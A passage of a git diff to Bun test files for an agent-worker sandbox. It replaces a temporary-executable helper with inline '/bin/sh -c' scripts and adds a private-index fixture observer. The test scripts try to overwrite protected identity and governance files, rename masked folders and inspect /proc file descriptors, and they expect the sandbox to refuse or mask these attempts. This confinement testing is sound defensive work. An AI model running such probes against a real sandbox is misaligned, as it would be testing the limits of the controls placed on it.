[false, true]) test.skipIf(!native)(`a concurrent duplicat const workers: Launched[] = []; const realLaunch = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const child = await realLaunch({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),ANSWERING) }); + const child = await realLaunch({ ...input, command: ["/bin/sh", "-c", ANSWERING] }); const record: Launched = { root: child.turnTemp?.root, exited: child.exited, hasExited: false, kills: 0, closes: 0, releases: 0, released: 0, prompts: 0, refuseClose: false }; void child.exited.then(() => { record.hasExited = true; }); workers.push(record); diff --git a/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts b/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts index f884589bcf..3cbfc79118 100644 --- a/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts +++ b/packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts @@ -1,9 +1,8 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** #2880: cancellation before prompt owns the same teardown as a prompted turn. */ import { afterEach, expect, spyOn, test } from "bun:test"; import { closeSync, constants, mkdirSync, mkdtempSync, openSync, readdirSync, readlinkSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; -import { dirname, join } from "node:path"; +import { join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; import type { ServerMessage } from "@schlessera/brain-ui-sdk/server"; import { createPiBackend, type PiSessionLike } from "../src/backend.js"; @@ -67,7 +66,7 @@ for (const phase of ["new acquisition", "resumed acquisition", "before prompt"] let session: PiSessionLike | undefined; const realLaunch = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const child = await realLaunch({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),WAITING) }); + const child = await realLaunch({ ...input, command: ["/bin/sh", "-c", WAITING] }); exited = child.exited.then(code => { workerExited = true; return code; }); const kill = child.kill.bind(child), release = child.released.bind(child), turnTemp = child.turnTemp; exitWorker = () => kill("SIGKILL"); @@ -149,7 +148,7 @@ test.skipIf(!native)("pre-prompt cancellation preserves the real five-second std let clock: ReturnType | undefined; const real = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const child = await real({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),WAITING) }); + const child = await real({ ...input, command: ["/bin/sh", "-c", WAITING] }); // Retain a test-owned FIFO reference after the real worker and all its streams exit. const fd = readdirSync("/proc/self/fd").find(fd => { try { const target = readlinkSync(`/proc/self/fd/${fd}`); return target.startsWith(join(fifos.dir, "brain-worker-pipes-")) && target.endsWith("/stdin (deleted)"); } @@ -199,7 +198,7 @@ for (const failure of ["startup failure", "initialization timeout"] as const) { const script = failure === "startup failure" ? `IFS= read -r init; printf '{"type":"error","message":"Odysseus refused the voyage"}\\n'; sleep 30` : "IFS= read -r init; sleep 30"; - const child = await real({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),script) }); + const child = await real({ ...input, command: ["/bin/sh", "-c", script] }); const release = child.released.bind(child); child.released = async () => { reached.resolve(); await released.promise; await release(); }; return child; diff --git a/packages/ui-sdk/tests/governed-worker.test.ts b/packages/ui-sdk/tests/governed-worker.test.ts index f7eb61b42e..19f0da616c 100644 --- a/packages/ui-sdk/tests/governed-worker.test.ts +++ b/packages/ui-sdk/tests/governed-worker.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "./helpers/keyless-worker-command"; import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterEach, expect, spyOn, test } from "bun:test"; import { constants, mkdtempSync, mkdirSync, openSync, writeFileSync, readFileSync, readdirSync, rmSync, renameSync, existsSync, linkSync, symlinkSync } from "node:fs"; @@ -297,9 +296,8 @@ test.each([false, true])("launch refuses a folder identity swapped after plannin test("the live launch qualifies mounted folders before preserving their ordinary writes", async () => { const brain = fixture(); mkdirSync(join(brain, "group/private"), { recursive: true }); const sandbox = prepareWorkerSandbox(brain, { profile: "governed", areas: [], folderPaths: ["group/private"] }); - const peerRoot=mkdtempSync(join(tmpdir(),"governed-peer-"));roots.push(peerRoot); - const worker = launchAgentWorker({ brainPath: brain, sandbox, env: {}, command: keylessWorkerCommand(peerRoot, - "if mv group/private group/moved-private 2>/dev/null; then exit 41; fi; if mv group retired-group 2>/dev/null; then exit 42; fi; printf Athena > group/private/inside.md; printf Odysseus > sibling.md") }); + const worker = launchAgentWorker({ brainPath: brain, sandbox, env: {}, command: ["/bin/sh", "-c", + "if mv group/private group/moved-private 2>/dev/null; then exit 41; fi; if mv group retired-group 2>/dev/null; then exit 42; fi; printf Athena > group/private/inside.md; printf Odysseus > sibling.md"] }); worker.stdin.end(); const [exit, out, err] = await Promise.all([worker.exited, collectLaunched(worker.stdout), collectLaunched(worker.stderr)]); expect(exit, out + err).toBe(0); diff --git a/packages/ui-sdk/tests/helpers/keyless-worker-command.ts b/packages/ui-sdk/tests/helpers/keyless-worker-command.ts deleted file mode 100644 index 15d8823494..0000000000 --- a/packages/ui-sdk/tests/helpers/keyless-worker-command.ts +++ /dev/null @@ -1,9 +0,0 @@ -import { mkdtempSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; - -/** Declare a fixture-owned executable, preserving the peer's shell bytes. */ -export function keylessWorkerCommand(root:string,script:string,args:readonly string[]=[]):[string,...string[]] { - const executable=join(mkdtempSync(join(root,"keyless-peer-")),"entry.sh"); - writeFileSync(executable,"#!/bin/sh\n"+script+"\n",{mode:0o755}); - return [executable,...args]; -} diff --git a/packages/ui-sdk/tests/worker-status.test.ts b/packages/ui-sdk/tests/worker-status.test.ts index 32c309a845..ff66e002ae 100644 --- a/packages/ui-sdk/tests/worker-status.test.ts +++ b/packages/ui-sdk/tests/worker-status.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "./helpers/keyless-worker-command"; import { describe, expect, test } from "bun:test"; import { createWorkerStatusPipe, verifiedWorkerPid } from "../src/server/worker-status.js"; import { launchFixtureAgentWorker } from "./helpers/worker-startup-view-fixture.js"; @@ -83,8 +82,8 @@ describe("trusted bubblewrap worker status", () => { mkdirSync(join(ROOT, "tmp"), { recursive: true }); const root = mkdtempSync(join(ROOT, "tmp/worker-status-")), brain = join(root, "brain"); mkdirSync(brain); try { - const child = launchFixtureAgentWorker({ brainPath: brain, env: {}, command: keylessWorkerCommand(root, - 'for fd in 3 4; do if /usr/bin/readlink /proc/self/fd/$fd; then exit 17; fi; done; printf "status-is-private\n"') }); + const child = launchFixtureAgentWorker({ brainPath: brain, env: {}, command: ["/bin/sh", "-c", + 'for fd in 3 4; do if /usr/bin/readlink /proc/self/fd/$fd; then exit 17; fi; done; printf "status-is-private\n"'] }); child.stdin.end(); const collect = async (stream: NodeJS.ReadableStream) => { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; }; const [code, output, errors] = await Promise.all([child.exited, collect(child.stdout), collect(child.stderr)]); diff --git a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts index 27ca37db1b..1f4635619c 100644 --- a/packages/ui-sdk/tests/worker-steps-event-loop.test.ts +++ b/packages/ui-sdk/tests/worker-steps-event-loop.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "./helpers/keyless-worker-command"; import { watchdogMs } from "../../../scripts/test-deadlines"; /** * The asynchronous worker checks leave the server's event loop free (#2416). @@ -582,7 +581,7 @@ function heldRootSeam(f: ReturnType, status: () => IdentityWorke const real = broker = prepare(...args); control = identityControl(real, { delayMs: 100 }); const requested = new Set(args[2].map(root => root.name)); - return { ...real, command: keylessWorkerCommand(f.root,'exec 7<"$1" 8<"$2"; exec sleep 30',[roots.state,roots.temp]), + return { ...real, command: ["/bin/sh", "-c", 'exec 7<"$1" 8<"$2"; exec sleep 30', "sh", roots.state, roots.temp], *readySteps(supervisor: number) { // Until its bootstrap has executed the shell, those descriptors are the bootstrap's own. const holds = (fd: number, root: string) => { try { return readlinkSync(`/proc/${supervisor}/fd/${fd}`) === root; } catch { return false; } }; diff --git a/packages/ui-server/tests/autonomous-provider-masks.test.ts b/packages/ui-server/tests/autonomous-provider-masks.test.ts index 42614d2a7d..02d05d38a5 100644 --- a/packages/ui-server/tests/autonomous-provider-masks.test.ts +++ b/packages/ui-server/tests/autonomous-provider-masks.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** * Autonomous (restricted) turns apply the same provider folder masks as * hosted turns (#2691): the envelope's brain view hides each masked folder, @@ -98,12 +97,11 @@ function restrictedBackend(brainPath: string, script: (request: StartTurnRequest const server = Bun.serve({ unix: join(relay, "relay.sock"), fetch: () => new Response("ithaca") }); chmodSync(join(relay, "relay.sock"), 0o600); try { await script(request, async shell => { - const command=keylessWorkerCommand(relay,shell,CLI); const sandbox = { ...prepareWorkerSandbox(brainPath, { restricted: true }), ...(request.workerProviderMasks ? { providerMasks: request.workerProviderMasks } : {}) }; // Each child holds its own reference to the turn's immutable input. const worker = launchAgentWorker({ brainPath, startupView: retainWorkerStartupView(request.workerStartupView!), sandbox, - restricted: { readPaths: restrictedReadPaths([CLI[1]!,command[0]]), inferenceDir: relay }, - env: { PATH, BRAIN_ROOT: brainPath, HOME: "/tmp", NO_COLOR: "1" }, command }); + restricted: { readPaths: restrictedReadPaths([CLI[1]!]), inferenceDir: relay }, + env: { PATH, BRAIN_ROOT: brainPath, HOME: "/tmp", NO_COLOR: "1" }, command: ["/bin/sh", "-c", shell, "sh", ...CLI] }); const [stdout, stderr, code] = await Promise.all([text(worker.stdout), text(worker.stderr), worker.exited]); expect(code, stderr).toBe(0); return stdout; diff --git a/packages/ui-server/tests/governance-policy.test.ts b/packages/ui-server/tests/governance-policy.test.ts index e77bfd773c..16c67e4123 100644 --- a/packages/ui-server/tests/governance-policy.test.ts +++ b/packages/ui-server/tests/governance-policy.test.ts @@ -30,20 +30,6 @@ import { makeFakeBackend } from "./helpers/fake-backend"; import { testAuthorization } from "./helpers/principal"; const cleanup: Array<() => void> = []; -/** Explicit non-native runtime file; retain the literal shell bytes under test. */ -function fixtureShellCommand(script:string):string[]{ - const root=mkdtempSync(join(tmpdir(),"odysseus-governance-command-"));cleanup.push(()=>rmSync(root,{recursive:true,force:true})); - const file=join(root,"worker.sh");writeFileSync(file,`#!/bin/sh\n${script}\n`,{mode:0o755});return [file]; -} - -test("literal governance shell declaration reaches the real guarded worker",async()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-governance-declaration-"));cleanup.push(()=>rmSync(root,{recursive:true,force:true}));writeFileSync(join(root,"harbor.md"),"Odysseus"); - const child=launchAgentWorker({brainPath:root,sandbox:prepareWorkerSandbox(root,{profile:"governed",areas:[]}),env:{PATH:"/usr/bin:/bin"},command:fixtureShellCommand('if [ -f harbor.md ]; then printf GOVERNANCE_LITERAL_SCRIPT; else exit 31; fi')});child.stdin.end(); - const collect=async(stream:NodeJS.ReadableStream)=>{let text="";for await(const chunk of stream as AsyncIterable)text+=String(chunk);return text;}; - const [code,out,err]=await Promise.all([child.exited,collect(child.stdout),collect(child.stderr)]); - expect(code,"EXPLICIT_GOVERNANCE_SCRIPT_REACHES_WORKER "+err).toBe(0);expect(out).toBe("GOVERNANCE_LITERAL_SCRIPT"); -}); - /** A worker commit held for `ms`, queued at once, as a slow fsync would. */ function slowCommit(writer: import("../src/db/write-worker").SqliteWriter, ms: number) { const channel = writer.channel(probe, { table: "odysseus_log" }); @@ -83,7 +69,8 @@ test.each(["interactive", "voice"] as const)("%s policy selection enters an actu const hold = await f.turns.begin(`turn-${origin}`, new AbortController().signal, origin); try { expect(hold.sandbox.profile, "POLICY_ACTUAL_STRICT_ADMISSION").toBe("strict"); - const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: fixtureShellCommand('if printf attack > harbor.md; then exit 41; fi; printf STRICT_POLICY_WRITE_REFUSED') }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: ["/bin/sh", "-c", + 'if printf attack > harbor.md; then exit 41; fi; printf STRICT_POLICY_WRITE_REFUSED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("STRICT_POLICY_WRITE_REFUSED"); expect(readFileSync(join(f.brain, "harbor.md"), "utf8")).toBe("Odysseus arrives.\n"); @@ -122,7 +109,8 @@ test("policy additions and exact tier B release reach real governed mounts and m const hold = await f.turns.begin("governed-protection", new AbortController().signal); try { expect(hold.sandbox.profile, hold.sandbox.fallbackReason).toBe("governed"); - const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: fixtureShellCommand('if printf attack > me/identity.md; then exit 41; fi; printf released > .claude/settings.json || exit 42; if printf attack > context/policies/governance.md; then exit 43; fi; printf POLICY_PROTECTION_APPLIED') }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: hold.startupView, sandbox: hold.sandbox, env: {}, command: ["/bin/sh", "-c", + 'if printf attack > me/identity.md; then exit 41; fi; printf released > .claude/settings.json || exit 42; if printf attack > context/policies/governance.md; then exit 43; fi; printf POLICY_PROTECTION_APPLIED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("POLICY_PROTECTION_APPLIED"); expect(readFileSync(join(f.brain, "me/identity.md"), "utf8")).toBe("Odysseus.\n"); expect(readFileSync(join(f.brain, ".claude/settings.json"), "utf8")).toBe("released"); @@ -142,7 +130,8 @@ test.each(["interactive", "voice", "dictation", "live"] as const)("real session let actualProfile: string | undefined; const backend = makeFakeBackend({ id: "claude", startTurn: async request => { actualProfile = request.workerSandbox?.profile; - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: request.workerStartupView, sandbox: request.workerSandbox, env: {}, command: fixtureShellCommand('if printf fixture > harbor.md; then printf writable; else printf readonly; fi') }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, startupView: request.workerStartupView, sandbox: request.workerSandbox, env: {}, command: ["/bin/sh", "-c", + 'if printf fixture > harbor.md; then printf writable; else printf readonly; fi'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, child.stderr.toString()).toBe(0); expect(child.stdout.toString(), "POLICY_ROUTED_ORIGIN_RUNTIME").toBe(origin === "voice" ? "readonly" : "writable"); request.bridge.emit({ type: "session_info", sessionId: `session-${origin}`, isNew: true }); @@ -170,7 +159,7 @@ test("confirmed session preference tightens the next actual worker without chang try { expect(strict.sandbox.profile, "SESSION_PROFILE_NEXT_ADMISSION").toBe("strict"); expect(active.sandbox.profile, "SESSION_PROFILE_RUNNING_UNCHANGED").toBe("governed"); - const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, env: {}, command: fixtureShellCommand('if printf attack > harbor.md; then exit 41; fi; printf STRICT_SESSION_WRITE_REFUSED') }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const worker = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, env: {}, command: ["/bin/sh", "-c", 'if printf attack > harbor.md; then exit 41; fi; printf STRICT_SESSION_WRITE_REFUSED'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(worker.exitCode, worker.stderr.toString()).toBe(0); expect(worker.stdout.toString()).toBe("STRICT_SESSION_WRITE_REFUSED"); } finally { await strict.end(); await active.end(); } @@ -316,13 +305,13 @@ test("admitted literal provider folders reach real governed mounts and stay mask try { expect(hold.sandbox.profile, hold.sandbox.fallbackReason).toBe("governed"); expect(hold.sandbox.retainedFolders).toEqual([".brain-cache", ".brain-index", "group/private"]); - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand(` + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", ` if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi if mv group group-moved 2>/dev/null; then echo ANCESTOR_RENAMED; exit 42; fi if printf Athena > group/private/new.md 2>/dev/null; then echo MASKED_FOLDER_WRITTEN; exit 43; fi printf Odysseus > group/public.md || exit 44 cat group/private/identity.md 2>/dev/null || printf MASKED - `) }), { env: {}, stdout: "pipe", stderr: "pipe" }); + `] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, `ADMITTED_PROVIDER_FOLDER_PLAN_REACHES_NATIVE_MOUNTS: ${child.stdout.toString()} ${child.stderr.toString()}`).toBe(0); // Retention alone authorizes nothing; with no proven recipient (#1665) the folder is masked (#1668). expect(child.stdout.toString(), "UNPROVEN_RECIPIENT_SEES_PROVIDER_FOLDER_MASKED").toBe("MASKED"); @@ -339,12 +328,14 @@ test("an invalid admission retains provider folders from the turn reader's last- const hold = await f.turns.begin("last-valid-provider-folder", new AbortController().signal); try { expect(hold.policy.source).toBe("last_valid"); - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand('if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi') }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + 'if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, `LAST_VALID_ADMITTED_POLICY_REACHES_NATIVE_FOLDER_PINS: ${child.stdout.toString()} ${child.stderr.toString()}`).toBe(0); const peer = await f.execution.gate()!.acquire("shared", "turn:athena-inherits-last-valid-plan"); try { const sandbox = prepareWorkerSandbox(f.brain, { profile: "governed", areas: [], folderPaths: peer.folderPaths }); - const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand('if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi') }), { env: {}, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawnSync(workerCommand({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + 'if mv group/private group/moved 2>/dev/null; then echo ROOT_RENAMED; exit 41; fi'] }), { env: {}, stdout: "pipe", stderr: "pipe" }); expect(child.exitCode, `LAST_VALID_FOLDER_PLAN_REACHES_NEW_PEER_NATIVE_PINS: ${child.stdout.toString()} ${child.stderr.toString()}`).toBe(0); } finally { peer.release(); } @@ -357,7 +348,8 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p writeFileSync(join(f.brain, "group/private/initial.md"), "Athena"); const prior = await f.execution.gate()!.acquire("shared", "turn:before-provider-folders"); const oldSandbox = prepareWorkerSandbox(f.brain, { profile: "governed", areas: [], folderPaths: prior.folderPaths }); - const old = launchAgentWorker({ brainPath: f.brain, sandbox: oldSandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("printf ready > old-ready.md; IFS= read -r go || exit 43; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md") }); + const old = launchAgentWorker({ brainPath: f.brain, sandbox: oldSandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + "printf ready > old-ready.md; IFS= read -r go || exit 43; mv group/private group/retired-private || exit 44; mkdir group/private || exit 45; printf Athena > group/private/born.md"] }); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } async function ready(path: string) { const deadline = Date.now() + watchdogMs(5000); while (!existsSync(join(f.brain, path))) { if (Date.now() >= deadline) throw Error(`Native peer readiness timed out: ${path}`); await Bun.sleep(5); } } const oldOutput = Promise.all([collect(old.stdout), collect(old.stderr)]); @@ -379,14 +371,15 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p try { expect(strict.sandbox.profile).toBe("strict"); const child = launchAgentWorker({ brainPath: f.brain, sandbox: strict.sandbox, startupView: strict.startupView, - env: {}, command: fixtureShellCommand("cat group/private/initial.md 2>/dev/null || printf MASKED") }); + env: {}, command: ["/bin/sh", "-c", "cat group/private/initial.md 2>/dev/null || printf MASKED"] }); child.stdin.end(); const [exit, out, err] = await Promise.all([child.exited, collect(child.stdout), collect(child.stderr)]); expect(exit, err).toBe(0); expect(out, "STRICT_TURN_MASKS_PROVIDER_FOLDER_WITHOUT_A_PROVEN_RECIPIENT").toBe("MASKED"); } finally { await strict.end(); } } if (admitted) { - next = launchAgentWorker({ brainPath: f.brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED") }); + next = launchAgentWorker({ brainPath: f.brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); } @@ -413,7 +406,8 @@ test("a live peer retaining a descendant permits shared admission of its pinned f.write("providers: [{ paths: [group/private/deeper/**], allow: [anthropic] }]"); const prior = await f.execution.gate()!.acquire("shared", "turn:retained-descendant"); const sandbox = prepareWorkerSandbox(f.brain, { profile: "governed", areas: [], folderPaths: prior.folderPaths }); - const old = launchAgentWorker({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("printf ready > older-ready.md; IFS= read -r go || exit 43; if mv group/private group/moved 2>/dev/null; then exit 41; fi; printf Athena > group/private/deeper/older.md") }); + const old = launchAgentWorker({ brainPath: f.brain, sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + "printf ready > older-ready.md; IFS= read -r go || exit 43; if mv group/private group/moved 2>/dev/null; then exit 41; fi; printf Athena > group/private/deeper/older.md"] }); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } const oldOutput = Promise.all([collect(old.stdout), collect(old.stderr)]); let hold: Awaited> | undefined; @@ -423,7 +417,8 @@ test("a live peer retaining a descendant permits shared admission of its pinned f.write("providers: [{ paths: [group/private/**], allow: [anthropic] }]"); hold = await f.turns.begin("shared-pinned-ancestor", new AbortController().signal); expect(hold.sandbox.profile, hold.sandbox.fallbackReason).toBe("governed"); - const next = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: fixtureShellCommand("if mv group/private group/moved 2>/dev/null; then exit 42; fi; printf Odysseus > group/public.md; if printf Athena > group/private/deeper/newer.md 2>/dev/null; then exit 43; fi") }); + const next = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + "if mv group/private group/moved 2>/dev/null; then exit 42; fi; printf Odysseus > group/public.md; if printf Athena > group/private/deeper/newer.md 2>/dev/null; then exit 43; fi"] }); next.stdin.end(); const [exit, out, err] = await Promise.all([next.exited, collect(next.stdout), collect(next.stderr)]); expect(exit, out + err).toBe(0); @@ -466,7 +461,7 @@ test("a missing folder preserves strict fallback beside an unaccounted peer", as expect(hold.sandbox.fallbackReason).toContain("protected paths could not be verified"); expect(existsSync(join(f.brain, "group/private"))).toBe(false); const child = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, startupView: hold.startupView, - env: {}, command: fixtureShellCommand("test ! -e group/private") }); + env: {}, command: ["/bin/sh", "-c", "test ! -e group/private"] }); child.stdin.end(); async function collect(stream: NodeJS.ReadableStream) { let text = ""; for await (const chunk of stream as AsyncIterable) text += chunk.toString(); return text; } const [exit, out, err] = await Promise.all([child.exited, collect(child.stdout), collect(child.stderr)]); diff --git a/packages/ui-server/tests/helpers/fixture-native-startup.ts b/packages/ui-server/tests/helpers/fixture-native-startup.ts index 7585a3f356..5c1a5d59bc 100644 --- a/packages/ui-server/tests/helpers/fixture-native-startup.ts +++ b/packages/ui-server/tests/helpers/fixture-native-startup.ts @@ -1,3 +1,4 @@ +import {observePrivateIndexes} from "./fixture-private-index.js"; /** Policy unit fixtures replace only native acquisition; native runtime proof is separate. */ import { afterEach, beforeEach, spyOn } from "bun:test"; import * as startup from "../../../ui-sdk/src/server/worker-startup-view.js"; @@ -24,6 +25,7 @@ export function installFixtureNativeStartupViews(): void { /** Standalone fixture subprocesses restore on shutdown; never imported by product code. */ export function replaceNativeStartupAcquisitionForFixture(): () => void { references++; + const releaseIndexes=observePrivateIndexes(); // Another suite may restore every Bun spy while an app fixture is alive. // Each explicit acquisition re-establishes its test-only boundary. { @@ -38,5 +40,5 @@ export function replaceNativeStartupAcquisitionForFixture(): () => void { managed = spyOn(startup, "assertManagedTurnStartupView").mockImplementation(() => {}); } let closed = false; - return () => { if (closed) return; closed = true; if (--references === 0) { acquisition?.mockRestore(); acquisition = undefined; outputAcquisition?.mockRestore(); outputAcquisition = undefined; managed?.mockRestore(); managed = undefined; } }; + return () => { if (closed) return; closed = true; releaseIndexes(); if (--references === 0) { acquisition?.mockRestore(); acquisition = undefined; outputAcquisition?.mockRestore(); outputAcquisition = undefined; managed?.mockRestore(); managed = undefined; } }; } diff --git a/packages/ui-server/tests/helpers/fixture-private-index.ts b/packages/ui-server/tests/helpers/fixture-private-index.ts new file mode 100644 index 0000000000..1d82e4c686 --- /dev/null +++ b/packages/ui-server/tests/helpers/fixture-private-index.ts @@ -0,0 +1,32 @@ +import {nativeFixturePrivateIndex} from "../../../../scripts/test-native-guard"; +import {AsyncLocalStorage} from "node:async_hooks"; +import {spyOn} from "bun:test"; +import * as governed from "../../src/brain/governed-turn.js"; +import * as indexes from "../../src/brain/private-index.js"; + +// Observe real acquisitions; never substitute allocator or turn return values. +const acquiringPrivateIndexes=new AsyncLocalStorage<{brain:string;releases:(()=>void)[]}>(); +let privateIndexObservers=0; +let restorePrivateIndexObservers:undefined|(()=>void); +export function observePrivateIndexes():()=>void { + if(privateIndexObservers++===0){ + const create=indexes.createPrivateIndexDirectory,factory=governed.createGovernedTurns; + const allocator=spyOn(indexes,"createPrivateIndexDirectory").mockImplementation(()=>{ + const root=create(),turn=acquiringPrivateIndexes.getStore(); + if(turn)turn.releases.push(nativeFixturePrivateIndex(root,turn.brain,false));return root; + }); + const turns=spyOn(governed,"createGovernedTurns").mockImplementation(options=>{ + const result=factory(options),begin=result.begin; + result.begin=(...args)=>{ + const turn={brain:options.brainPath,releases:[] as (()=>void)[]}; + const release=()=>{for(const dispose of turn.releases.splice(0))dispose();}; + return acquiringPrivateIndexes.run(turn,async()=>{ + try{const hold=await begin(...args),end=hold.end;hold.end=async()=>{try{return await end();}finally{release();}};return hold;} + catch(error){release();throw error;} + }); + };return result; + }); + restorePrivateIndexObservers=()=>{turns.mockRestore();allocator.mockRestore();}; + } + let closed=false;return ()=>{if(closed)return;closed=true;if(--privateIndexObservers===0){restorePrivateIndexObservers?.();restorePrivateIndexObservers=undefined;}}; +} diff --git a/packages/ui-server/tests/helpers/native-app-fixture.ts b/packages/ui-server/tests/helpers/native-app-fixture.ts index c17189c440..af344e9240 100644 --- a/packages/ui-server/tests/helpers/native-app-fixture.ts +++ b/packages/ui-server/tests/helpers/native-app-fixture.ts @@ -1,3 +1,4 @@ +import {nativeFixtureAppAuthority} from "../../../../scripts/test-native-guard"; /** Explicit offline broker for app contracts; copied test roots never qualify Btrfs behavior. */ import { mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -6,14 +7,15 @@ import { NATIVE_MANAGER_MAX_DELTA_BYTES, NATIVE_MANAGER_OPERATION_TIMEOUT_MS } f import { createNativeJournalFixture } from "./native-journal-fixture.js"; import { replaceNativeStartupAcquisitionForFixture } from "./fixture-native-startup.js"; -export function createNativeAppFixture(brainPath: string) { +export function createNativeAppFixture(brainPath: string, options: {fixtureRoots?:readonly string[]} = {}) { + const releaseAuthority=nativeFixtureAppAuthority([brainPath,...options.fixtureRoots??[]]); const state = mkdtempSync(join(tmpdir(), "odysseus-native-app-")), native = createNativeJournalFixture(brainPath, state); const broker = native.serve(), restore = replaceNativeStartupAcquisitionForFixture(); const leasePath = join(state, "native-leases.sqlite"); let closed = false; return { nativeBrain: { socketPath: broker.socketPath, leasePath, timeoutMs: NATIVE_MANAGER_OPERATION_TIMEOUT_MS, maxDeltaBytes: NATIVE_MANAGER_MAX_DELTA_BYTES }, env: { BRAIN_UI_NATIVE_BRAIN_SOCKET: broker.socketPath, BRAIN_UI_NATIVE_BRAIN_LEASE_PATH: leasePath }, - async close() { if (closed) return; closed = true; try { broker.close(); await native.close(); } finally { restore(); rmSync(state, { recursive: true, force: true }); } }, + async close() { if (closed) return; closed = true; try { broker.close(); await native.close(); } finally { 